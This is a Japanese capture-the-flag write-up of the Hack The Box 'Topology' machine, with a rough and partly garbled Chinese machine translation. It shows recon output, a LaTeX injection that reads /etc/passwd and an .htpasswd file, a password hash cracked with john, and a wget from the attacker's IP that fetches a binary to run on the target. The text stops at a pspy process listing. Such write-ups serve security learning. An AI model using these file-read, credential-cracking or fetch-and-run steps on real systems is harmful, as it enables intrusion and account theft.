初めに 首先
どうも、クソ雑魚のなんちゃてエンジニアです。 您好,我是一名杂项工程师。
本記事は Hack The Box(以下リンク参照) の「Topology」にチャレンジした際の WriteUp になります。
本文是针对 Hack The Box 的“拓扑”挑战的文章(见下面的链接)。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
*请注意,到目前为止,我还没有写出如何使用该工具等详细信息。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
*请不要滥用它。 我们使用这些技术只是为了为社会做出贡献。 因为它违反了法律。
Discovery 发现
ポートスキャン 端口扫描
今回はRustScanで高速スキャンしてみた。(はっや)
这一次,我尝试了使用 RustScan 进行高速扫描。 (哈哈)
┌──(root㉿kali)-[~]
└─# rustscan -a 10.10.11.217 --top --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.217:22
Open 10.10.11.217:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-11 05:30 EDT
Initiating Ping Scan at 05:30
Scanning 10.10.11.217 [4 ports]
Completed Ping Scan at 05:30, 0.23s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:30
Completed Parallel DNS resolution of 1 host. at 05:30, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 05:30
Scanning 10.10.11.217 [2 ports]
Discovered open port 22/tcp on 10.10.11.217
Discovered open port 80/tcp on 10.10.11.217
Completed SYN Stealth Scan at 05:30, 0.23s elapsed (2 total ports)
Nmap scan report for 10.10.11.217
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2023-06-11 05:30:33 EDT for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
ポート22、80が公開されてそう。 端口 22 和 80 已公开。
アクセスしてみる。 尝试访问它。
BurpでResponseを調査すると以下のような記載のある個所を発見する。
如果调查“打嗝响应”,将找到以下描述。
ドメインがtopology.htb
、サブドメインでlatex
があるみたいだ。
似乎该域是一个 topology.htb
子域。 latex
ドメイン周りの設定をしていくか。 是否要围绕域进行设置?
Collection 收集
ドメイン環境設定 域首选项
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。
由于这次 BOX 环境中没有 DNS,因此可以用自己的 kalilinux 解析名称。
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts
以下を投入。 加入以下内容。
10.10.11.216 topology.htb latex.topology.htb
疎通確認を行う。 确认通信。
┌──(root㉿kali)-[~]
└─# ping topology.htb
サイト探索 网站探索
Subdomain探索 子域探索
以下サイトからサブドメインのリストをダウンロード
从以下站点下载子域列表
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
ffuf
で探索。 ffuf
探索。
┌──(root㉿kali)-[~/work]
└─# ffuf -w bitquark-subdomains-top100000.txt:FUZZ -u http://topology.htb/ -H "HOST: FUZZ.topology.htb" -fs 6767 -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://topology.htb/
:: Wordlist : FUZZ: /root/work/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.topology.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 6767
________________________________________________
[Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 796ms]
* FUZZ: dev
[Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 5902ms]
* FUZZ: stats
dev
とstats
が追加で見つかった。これも追加でドメイン設定する。
dev
并且 stats
还被发现。 这也是一个额外的域设置。
ブラウザアクセス 浏览器访问
実際にアクセスしてみる。 尝试实际访问它。
latex.topology.htb latex.拓扑.htb
dev.topology.htb
stats.topology.htb stats.拓扑.htb
なにやら画像が表示される階層か。 它是显示图像的层次结构吗?
ディレクトリ探索 目录浏览
stats
の階層を調べてみる。 stats
让我们来看看层次结构。
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://stats.topology.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/stats.topology.htb/-_23-06-11_06-27-22.txt
Error Log: /root/.dirsearch/logs/errors-23-06-11_06-27-22.log
Target: http://stats.topology.htb/
[06:27:23] Starting:
[06:27:46] 403 - 283B - /.ht_wsr.txt
[06:27:46] 403 - 283B - /.htaccess.sample
[06:27:46] 403 - 283B - /.htaccess.orig
[06:27:46] 403 - 283B - /.htaccess.save
[06:27:46] 403 - 283B - /.htaccess.bak1
[06:27:47] 403 - 283B - /.htaccess_sc
[06:27:47] 403 - 283B - /.htaccessBAK
[06:27:47] 403 - 283B - /.htaccessOLD
[06:27:47] 403 - 283B - /.htaccessOLD2
[06:27:47] 403 - 283B - /.htaccess_extra
[06:27:47] 403 - 283B - /.htaccess_orig
[06:27:47] 403 - 283B - /.htm
[06:27:47] 403 - 283B - /.html
[06:27:47] 403 - 283B - /.htpasswds
[06:27:47] 403 - 283B - /.htpasswd_test
[06:27:47] 403 - 283B - /.httr-oauth
[06:28:00] 403 - 283B - /.php
[06:35:49] 301 - 324B - /files -> http://stats.topology.htb/files/
[06:35:49] 200 - 1KB - /files/
[06:36:48] 200 - 108B - /index.html
[06:37:06] 301 - 329B - /javascript -> http://stats.topology.htb/javascript/
[06:41:30] 403 - 283B - /server-status/
[06:41:30] 403 - 283B - /server-status
[06:44:11] 403 - 283B - /~backup
[06:44:11] 403 - 283B - /~bin
[06:44:11] 403 - 283B - /~daemon
[06:44:11] 403 - 283B - /~games
[06:44:11] 403 - 283B - /~gdm
[06:44:13] 403 - 283B - /~lp
[06:44:13] 403 - 283B - /~mail
[06:44:13] 403 - 283B - /~nobody
[06:44:13] 403 - 283B - /~news
[06:44:14] 403 - 283B - /~sync
[06:44:16] 403 - 283B - /~uucp
何もなさすぎる。 没什么大不了的。
情報収集はこのくらいにしてlatex.topology.htbのファイル達を調べていこうと思う。
说完这些,我将查看 latex.topology.htb 文件。
Initial Access 初始访问
LFI
latex.topology.htbの中でParameterを飛ばすことが出来るのはequation.php
くらいだった。
在 latex.topology.htb 中,只能跳过 Parameter equation.php
。
ブラウザアクセスの画面はこんな感じ。 浏览器访问屏幕如下所示。
何やらLaTexの表記を画像化して返してくれる機能を持っているみたいだ。
它似乎有一个函数,可以将 LaTex 的符号转换为图像并返回。
LaTexのHackingに関しては以下のサイトで勉強を行った(大学生と研究者くらいじゃないか?この言語触ってるの…)
我在以下网站上研究了 LaTex Hacking(大学生和研究人员,对吧? 我正在触摸这种语言……
これらのLaTexを少し試してみる。\lstinputlisting{/etc/passwd}
を試してみよう。
试试一下 LaTex。 \lstinputlisting{/etc/passwd}
让我们试试吧。
通ってるみたいだが、Responseが何も見えない(通常であればPNGファイルが帰ってくるはず…)。
它似乎正在通过,但我看不到任何响应(通常 PNG 文件应该返回……
ただLaTexのコードが通りそうなことは分かった。
但是,我知道 LaTex 代码会起作用。
ここでRCEやWrite系のLaTex構文のHackingを行うと痛い目を見る。大体がマシンによってフィルタリングされてエラーが帰ってくる。先ほどみたいにHTTP 200OKが帰ってこないのだ。
如果你在这里对 RCE 或基于 Write 的 LaTex 语法进行黑客攻击,你会看到一个痛苦的眼睛。 它们中的大多数被机器过滤并返回错误。 HTTP 200OK 不会像以前那样返回。
これで私はLaTex構文の作成に数時間を費やした。
有了这个,我花了几个小时创建 LaTex 语法。
LaTexについて調べていると以下のサイトを発見する。
在研究 LaTex 时,我发现了以下网站。
$
で囲うことでmathモードで特殊文字をそのまま出力出来るみたいだ。
$
似乎可以通过用 .
これで画像として出力できるのではと考える。 我认为这可以输出为图像。
※出力できないので内部で何かを作ったり、コマンドを打ったりすることに方針を向けるのではなく、出力に合わせる方向でExploitを構築するべきだった。
* 由于它不能输出,因此 Exploit 应该朝着匹配输出的方向构建,而不是专注于在内部创建某些东西或发出命令。
実際にやってみる。 试试看。
出来た!これでLFI出来そうだ! 做! 看起来你可以用这个做LFI!
htpassed HTPASSED认证
何か情報がないか探っていくのだが、今回は以下のようにApache HTTP Serverを利用しているみたいだ。
我正在寻找一些信息,但这次它似乎正在使用 Apache HTTP Server,如下所示。
ここら辺の階層を探っていく。 让我们来探讨一下这里的层次结构。/etc/httpd/conf/httpd.conf
がなかったので、/etc/apache2/sites-available/000-default.conf
を探る。
/etc/httpd/conf/httpd.conf
没有 /etc/apache2/sites-available/000-default.conf
探索。
以下のようにResponseがあった。 答复如下。
サブドメインがない階層だ。 它是一个没有子域的层次结构。dev
の階層。 dev
的层次结构。stats
の階層。 stats
的层次结构。
そういえばdev
にはBasic認証があったので.htpasswd
があるのではないかということで、/var/www/dev/.htpasswd
を探る。
说到这里,既然有 dev
Basic认证,我就 .htpasswd
/var/www/dev/.htpasswd
来探讨一下。
あった!クレデンシャルだ! 是! 这是一张证书!
Credential Access 凭据访问
以下のファイルを作成する。ここら辺の文字列はOCRでうまく切り出して欲しい。
创建以下文件: 我希望这里的字符串能被 OCR 很好地剪掉。
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
Johnさんで解析してもらう。 让约翰分析一下。
┌──(root㉿kali)-[~/work]
└─# john hash --wordlist=./rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
パスワードげっちゅ!!!このクレデンシャルでSSHしてみる。
密码 Gecchu!! 尝试使用这些凭据进行 SSH。
いった!!!User権限ゲット! 发生了什么事!! 获取用户权限!
Privilege Escalation 权限提升
情報収集 情报収集
sudo -l
No Passで特権コマンド打てないかなぁとか思いながらsudo -l
で確認します
我想知道我是否可以使用 No Pass 击中特权命令。 sudo -l
vdaisley@topology:~$ sudo -l
[sudo] password for vdaisley:
Sorry, user vdaisley may not run sudo on topology.
vdaisley@topology:~$
なにもない。 无。
pspy PSPY的
何かいいプロセス動いてないかなぁ~とか思いながらpspy動かします。
不知道有没有好的过程在起作用~我会边想边跑pspy。
pspyの実行ファイルを以下のサイトから入手。64bit版をダウンロードしましょう。
从以下站点获取 pspy 可执行文件。 下载 64 位版本。
入手後はターゲットに実行ファイルを送信するために簡易的なWebサーバを立ち上げます。
获得后,将设置一个简单的 Web 服务器以将可执行文件发送到目标。
┌──(root💀kali)-[~/work]
└─# python3 -m http.server 80
攻撃対象サーバからこのファイルをダウンロードしてくるので自分のIPを確認しておきます。
此文件将从目标服务器下载,因此请检查您的 IP。
※この場合はtun0 * 在本例中,tun0
┌──(root💀kali)-[~/work]
└─# ip a 1 ⨯
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
...
11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 10.10.14.93/23 scope global tun0
valid_lft forever preferred_lft forever
inet6 dead:beef:2::101a/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::cf43:caa1:e355:737d/64 scope link stable-privacy
valid_lft forever preferred_lft forever
攻撃対象サーバへ転送します。 转发到受害服务器。
vdaisley@topology:/tmp$ wget http://10.10.14.93/pspy64
chmod +x ./pspy64
をして実行! chmod +x ./pspy64
然后跑!
vdaisley@topology:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/06/15 10:24:37 CMD: UID=1007 PID=18780 | ./pspy64
2023/06/15 10:24:37 CMD: UID=33 PID=18158 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=18157 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=18156 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=18155 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=18154 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=18153 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=1007 PID=10749 | /usr/bin/gpg-agent --supervised
2023/06/15 10:24:37 CMD: UID=33 PID=9862 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=1007 PID=4499 | -bash
2023/06/15 10:24:37 CMD: UID=1007 PID=4498 | sshd: vdaisley@pts/1
2023/06/15 10:24:37 CMD: UID=0 PID=4427 | sshd: vdaisley [priv]
2023/06/15 10:24:37 CMD: UID=33 PID=1610 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1264 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1263 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1261 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1260 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1259 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=1007 PID=1205 | -bash
2023/06/15 10:24:37 CMD: UID=1007 PID=1202 | sshd: vdaisley@pts/0
2023/06/15 10:24:37 CMD: UID=1007 PID=1162 | /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2023/06/15 10:24:37 CMD: UID=113 PID=1139 | /usr/libexec/rtkit-daemon
2023/06/15 10:24:37 CMD: UID=1007 PID=1118 | /usr/bin/pulseaudio --daemonize=no --log-target=journal
2023/06/15 10:24:37 CMD: UID=1007 PID=1107 | (sd-pam)
2023/06/15 10:24:37 CMD: UID=1007 PID=1106 | /lib/systemd/systemd --user
2023/06/15 10:24:37 CMD: UID=33 PID=1068 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1067 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1065 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1064 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1060 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1057 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1056 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1055 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=0 PID=1054 |
2023/06/15 10:24:37 CMD: UID=33 PID=992 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=991 |
2023/06/15 10:24:37 CMD: UID=0 PID=988 | sshd: vdaisley [priv]
2023/06/15 10:24:37 CMD: UID=33 PID=969 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=967 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=965 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=0 PID=963 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=0 PID=962 | /sbin/agetty -o -p -- \u --noclear tty1 linux
2023/06/15 10:24:37 CMD: UID=0 PID=952 | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
2023/06/15 10:24:37 CMD: UID=1 PID=951 | /usr/sbin/atd -f
2023/06/15 10:24:37 CMD: UID=0 PID=950 | /usr/bin/python3 /usr/bin/fail2ban-server -xf start
2023/06/15 10:24:37 CMD: UID=0 PID=935 | /usr/sbin/cron -f
2023/06/15 10:24:37 CMD: UID=101 PID=883 | /lib/systemd/systemd-resolved
2023/06/15 10:24:37 CMD: UID=0 PID=782 | /usr/sbin/ModemManager
2023/06/15 10:24:37 CMD: UID=117 PID=771 | avahi-daemon: chroot helper
2023/06/15 10:24:37 CMD: UID=0 PID=766 | /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant
2023/06/15 10:24:37 CMD: UID=0 PID=765 | /usr/lib/udisks2/udisksd
2023/06/15 10:24:37 CMD: UID=0 PID=764 | /lib/systemd/systemd-logind
2023/06/15 10:24:37 CMD: UID=104 PID=760 | /usr/sbin/rsyslogd -n -iNONE
2023/06/15 10:24:37 CMD: UID=0 PID=746 | /usr/lib/policykit-1/polkitd --no-debug
2023/06/15 10:24:37 CMD: UID=0 PID=745 | /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
2023/06/15 10:24:37 CMD: UID=0 PID=739 | /usr/sbin/irqbalance --foreground
2023/06/15 10:24:37 CMD: UID=0 PID=725 | /usr/sbin/NetworkManager --no-daemon
2023/06/15 10:24:37 CMD: UID=103 PID=717 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2023/06/15 10:24:37 CMD: UID=117 PID=715 | avahi-daemon: running [topology.local]
2023/06/15 10:24:37 CMD: UID=0 PID=714 | /usr/lib/accountsservice/accounts-daemon
2023/06/15 10:24:37 CMD: UID=0 PID=693 |
2023/06/15 10:24:37 CMD: UID=0 PID=674 | /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
2023/06/15 10:24:37 CMD: UID=0 PID=668 | /usr/bin/vmtoolsd
2023/06/15 10:24:37 CMD: UID=0 PID=644 | /usr/bin/VGAuthService
2023/06/15 10:24:37 CMD: UID=102 PID=630 | /lib/systemd/systemd-timesyncd
2023/06/15 10:24:37 CMD: UID=0 PID=624 | /sbin/auditd
2023/06/15 10:24:37 CMD: UID=0 PID=596 | /sbin/multipathd -d -s
2023/06/15 10:24:37 CMD: UID=0 PID=595 |
2023/06/15 10:24:37 CMD: UID=0 PID=594 |
2023/06/15 10:24:37 CMD: UID=0 PID=592 |
2023/06/15 10:24:37 CMD: UID=0 PID=591 |
2023/06/15 10:24:37 CMD: UID=0 PID=532 |
2023/06/15 10:24:37 CMD: UID=0 PID=496 | /lib/systemd/systemd-udevd
2023/06/15 10:24:37 CMD: UID=0 PID=486 |
2023/06/15 10:24:37 CMD: UID=0 PID=468 | /lib/systemd/systemd-journald
2023/06/15 10:24:37 CMD: UID=0 PID=414 |
2023/06/15 10:24:37 CMD: UID=0 PID=413 |
2023/06/15 10:24:37 CMD: UID=0 PID=362 |
2023/06/15 10:24:37 CMD: UID=0 PID=339 |
2023/06/15 10:24:37 CMD: UID=0 PID=333 |
2023/06/15 10:24:37 CMD: UID=0 PID=331 |
2023/06/15 10:24:37 CMD: UID=0 PID=330 |
2023/06/15 10:24:37 CMD: UID=0 PID=327 |
2023/06/15 10:24:37 CMD: UID=0 PID=326 |
2023/06/15 10:24:37 CMD: UID=0 PID=325 |
2023/06/15 10:24:37 CMD: UID=0 PID=301 |
2023/06/15 10:24:37 CMD: UID=0 PID=300 |
2023/06/15 10:24:37 CMD: UID=0 PID=299 |
2023/06/15 10:24:37 CMD: UID=0 PID=298 |
2023/06/15 10:24:37 CMD: UID=0 PID=297 |
2023/06/15 10:24:37 CMD: UID=0 PID=296 |
2023/06/15 10:24:37 CMD: UID=0 PID=295 |
2023/06/15 10:24:37 CMD: UID=0 PID=294 |
2023/06/15 10:24:37 CMD: UID=0 PID=293 |
2023/06/15 10:24:37 CMD: UID=0 PID=292 |
2023/06/15 10:24:37 CMD: UID=0 PID=291 |
2023/06/15 10:24:37 CMD: UID=0 PID=290 |
2023/06/15 10:24:37 CMD: UID=0 PID=289 |
2023/06/15 10:24:37 CMD: UID=0 PID=288 |
2023/06/15 10:24:37 CMD: UID=0 PID=287 |
2023/06/15 10:24:37 CMD: UID=0 PID=286 |
2023/06/15 10:24:37 CMD: UID=0 PID=285 |
2023/06/15 10:24:37 CMD: UID=0 PID=284 |
2023/06/15 10:24:37 CMD: UID=0 PID=283 |
2023/06/15 10:24:37 CMD: UID=0 PID=282 |
2023/06/15 10:24:37 CMD: UID=0 PID=280 |
2023/06/15 10:24:37 CMD: UID=0 PID=279 |
2023/06/15 10:24:37 CMD: UID=0 PID=263 |
2023/06/15 10:24:37 CMD: UID=0 PID=262 |
2023/06/15 10:24:37 CMD: UID=0 PID=257 |
2023/06/15 10:24:37 CMD: UID=0 PID=243 |
2023/06/15 10:24:37 CMD: UID=0 PID=242 |
2023/06/15 10:24:37 CMD: UID=0 PID=241 |
2023/06/15 10:24:37 CMD: UID=0 PID=240 |
2023/06/15 10:24:37 CMD: UID=0 PID=239 |
2023/06/15 10:24:37 CMD: UID=0 PID=238 |
2023/06/15 10:24:37 CMD: UID=0 PID=237 |
2023/06/15 10:24:37 CMD: UID=0 PID=236 |
2023/06/15 10:24:37 CMD: UID=0 PID=235 |
2023/06/15 10:24:37 CMD: UID=0 PID=234 |
2023/06/15 10:24:37 CMD: UID=0 PID=233 |
2023/06/15 10:24:37 CMD: UID=0 PID=232 |
2023/06/15 10:24:37 CMD: UID=0 PID=231 |
2023/06/15 10:24:37 CMD: UID=0 PID=230 |
2023/06/15 10:24:37 CMD: UID=0 PID=229 |
2023/06/15 10:24:37 CMD: UID=0 PID=228 |
2023/06/15 10:24:37 CMD: UID=0 PID=227 |
2023/06/15 10:24:37 CMD: UID=0 PID=226 |
2023/06/15 10:24:37 CMD: UID=0 PID=225 |
2023/06/15 10:24:37 CMD: UID=0 PID=224 |
2023/06/15 10:24:37 CMD: UID=0 PID=223 |
2023/06/15 10:24:37 CMD: UID=0 PID=222 |
2023/06/15 10:24:37 CMD: UID=0 PID=221 |
2023/06/15 10:24:37 CMD: UID=0 PID=220 |
2023/06/15 10:24:37 CMD: UID=0 PID=219 |
2023/06/15 10:24:37 CMD: UID=0 PID=218 |
2023/06/15 10:24:37 CMD: UID=0 PID=217 |
2023/06/15 10:24:37 CMD: UID=0 PID=216 |
2023/06/15 10:24:37 CMD: UID=0 PID=215 |
2023/06/15 10:24:37 CMD: UID=0 PID=214 |
2023/06/15 10:24:37 CMD: UID=0 PID=213 |
2023/06/15 10:24:37 CMD: UID=0 PID=212 |
2023/06/15 10:24:37 CMD: UID=0 PID=211 |
2023/06/15 10:24:37 CMD: UID=0 PID=210 |
2023/06/15 10:24:37 CMD: UID=0 PID=209 |
2023/06/15 10:24:37 CMD: UID=0 PID=208 |
2023/06/15 10:24:37 CMD: UID=0 PID=207 |
2023/06/15 10:24:37 CMD: UID=0 PID=206 |
2023/06/15 10:24:37 CMD: UID=0 PID=205 |
2023/06/15 10:24:37 CMD: UID=0 PID=204 |
2023/06/15 10:24:37 CMD: UID=0 PID=203 |
2023/06/15 10:24:37 CMD: UID=0 PID=202 |
2023/06/15 10:24:37 CMD: UID=0 PID=158 |
2023/06/15 10:24:37 CMD: UID=0 PID=157 |
2023/06/15 10:24:37 CMD: UID=0 PID=144 |
2023/06/15 10:24:37 CMD: UID=0 PID=141 |
2023/06/15 10:24:37 CMD: UID=0 PID=132 |
2023/06/15 10:24:37 CMD: UID=0 PID=130 |
2023/06/15 10:24:37 CMD: UID=0 PID=128 |
2023/06/15 10:24:37 CMD: UID=0 PID=127 |
2023/06/15 10:24:37 CMD: UID=0 PID=126 |
2023/06/15 10:24:37 CMD: UID=0 PID=125 |
2023/06/15 10:24:37 CMD: UID=0 PID=124 |
2023/06/15 10:24:37 CMD: UID=0 PID=123 |
2023/06/15 10:24:37 CMD: UID=0 PID=122 |
2023/06/15 10:24:37 CMD: UID=0 PID=121 |
2023/06/15 10:24:37 CMD: UID=0 PID=120 |
2023/06/15 10:24:37 CMD: UID=0 PID=119 |
2023/06/15 10:24:37 CMD: UID=0 PID=118 |
2023/06/15 10:24:37 CMD: UID=0 PID=117 |
2023/06/15 10:24:37 CMD: UID=0 PID=116 |
2023/06/15 10:24:37 CMD: UID=0 PID=115 |
2023/06/15 10:24:37 CMD: UID=0 PID=114 |
2023/06/15 10:24:37 CMD: UID=0 PID=113 |
2023/06/15 10:24:37 CMD: UID=0 PID=112 |
2023/06/15 10:24:37 CMD: UID=0 PID=111 |
2023/06/15 10:24:37 CMD: UID=0 PID=110 |
2023/06/15 10:24:37 CMD: UID=0 PID=109 |
2023/06/15 10:24:37 CMD: UID=0 PID=108 |
2023/06/15 10:24:37 CMD: UID=0 PID=107 |
2023/06/15 10:24:37 CMD: UID=0 PID=106 |
2023/06/15 10:24:37 CMD: UID=0 PID=105 |
2023/06/15 10:24:37 CMD: UID=0 PID=104 |
2023/06/15 10:24:37 CMD: UID=0 PID=103 |
2023/06/15 10:24:37 CMD: UID=0 PID=102 |
2023/06/15 10:24:37 CMD: UID=0 PID=101 |
2023/06/15 10:24:37 CMD: UID=0 PID=100 |
2023/06/15 10:24:37 CMD: UID=0 PID=99 |
2023/06/15 10:24:37 CMD: UID=0 PID=98 |
2023/06/15 10:24:37 CMD: UID=0 PID=97 |
2023/06/15 10:24:37 CMD: UID=0 PID=96 |
2023/06/15 10:24:37 CMD: UID=0 PID=95 |
2023/06/15 10:24:37 CMD: UID=0 PID=94 |
2023/06/15 10:24:37 CMD: UID=0 PID=93 |
2023/06/15 10:24:37 CMD: UID=0 PID=92 |
2023/06/15 10:24:37 CMD: UID=0 PID=91 |
2023/06/15 10:24:37 CMD: UID=0 PID=89 |
2023/06/15 10:24:37 CMD: UID=0 PID=88 |
2023/06/15 10:24:37 CMD: UID=0 PID=85 |
2023/06/15 10:24:37 CMD: UID=0 PID=84 |
2023/06/15 10:24:37 CMD: UID=0 PID=83 |
2023/06/15 10:24:37 CMD: UID=0 PID=82 |
2023/06/15 10:24:37 CMD: UID=0 PID=81 |
2023/06/15 10:24:37 CMD: UID=0 PID=80 |
2023/06/15 10:24:37 CMD: UID=0 PID=79 |
2023/06/15 10:24:37 CMD: UID=0 PID=78 |
2023/06/15 10:24:37 CMD: UID=0 PID=77 |
2023/06/15 10:24:37 CMD: UID=0 PID=35 |
2023/06/15 10:24:37 CMD: UID=0 PID=30 |
2023/06/15 10:24:37 CMD: UID=0 PID=29 |
2023/06/15 10:24:37 CMD: UID=0 PID=28 |
2023/06/15 10:24:37 CMD: UID=0 PID=27 |
2023/06/15 10:24:37 CMD: UID=0 PID=26 |
2023/06/15 10:24:37 CMD: UID=0 PID=25 |
2023/06/15 10:24:37 CMD: UID=0 PID=24 |
2023/06/15 10:24:37 CMD: UID=0 PID=23 |
2023/06/15 10:24:37 CMD: UID=0 PID=22 |
2023/06/15 10:24:37 CMD: UID=0 PID=21 |
2023/06/15 10:24:37 CMD: UID=0 PID=20 |
2023/06/15 10:24:37 CMD: UID=0 PID=18 |
2023/06/15 10:24:37 CMD: UID=0 PID=17 |
2023/06/15 10:24:37 CMD: UID=0 PID=16 |
2023/06/15 10:24:37 CMD: UID=0 PID=15 |
2023/06/15 10:24:37 CMD: UID=0 PID=14 |
2023/06/15 10:24:37 CMD: UID=0 PID=13 |
2023/06/15 10:24:37 CMD: UID=0 PID=12 |
2023/06/15 10:24:37 CMD: UID=0 PID=11 |
2023/06/15 10:24:37 CMD: UID=0 PID=10 |
2023/06/15 10:24:37 CMD: UID=0 PID=9 |
2023/06/15 10:24:37 CMD: UID=0 PID=8 |
2023/06/15 10:24:37 CMD: UID=0 PID=6 |
2023/06/15 10:24:37 CMD: UID=0 PID=5 |
2023/06/15 10:24:37 CMD: UID=0 PID=4 |
2023/06/15 10:24:37 CMD: UID=0 PID=3 |
2023/06/15 10:24:37 CMD: UID=0 PID=2 |
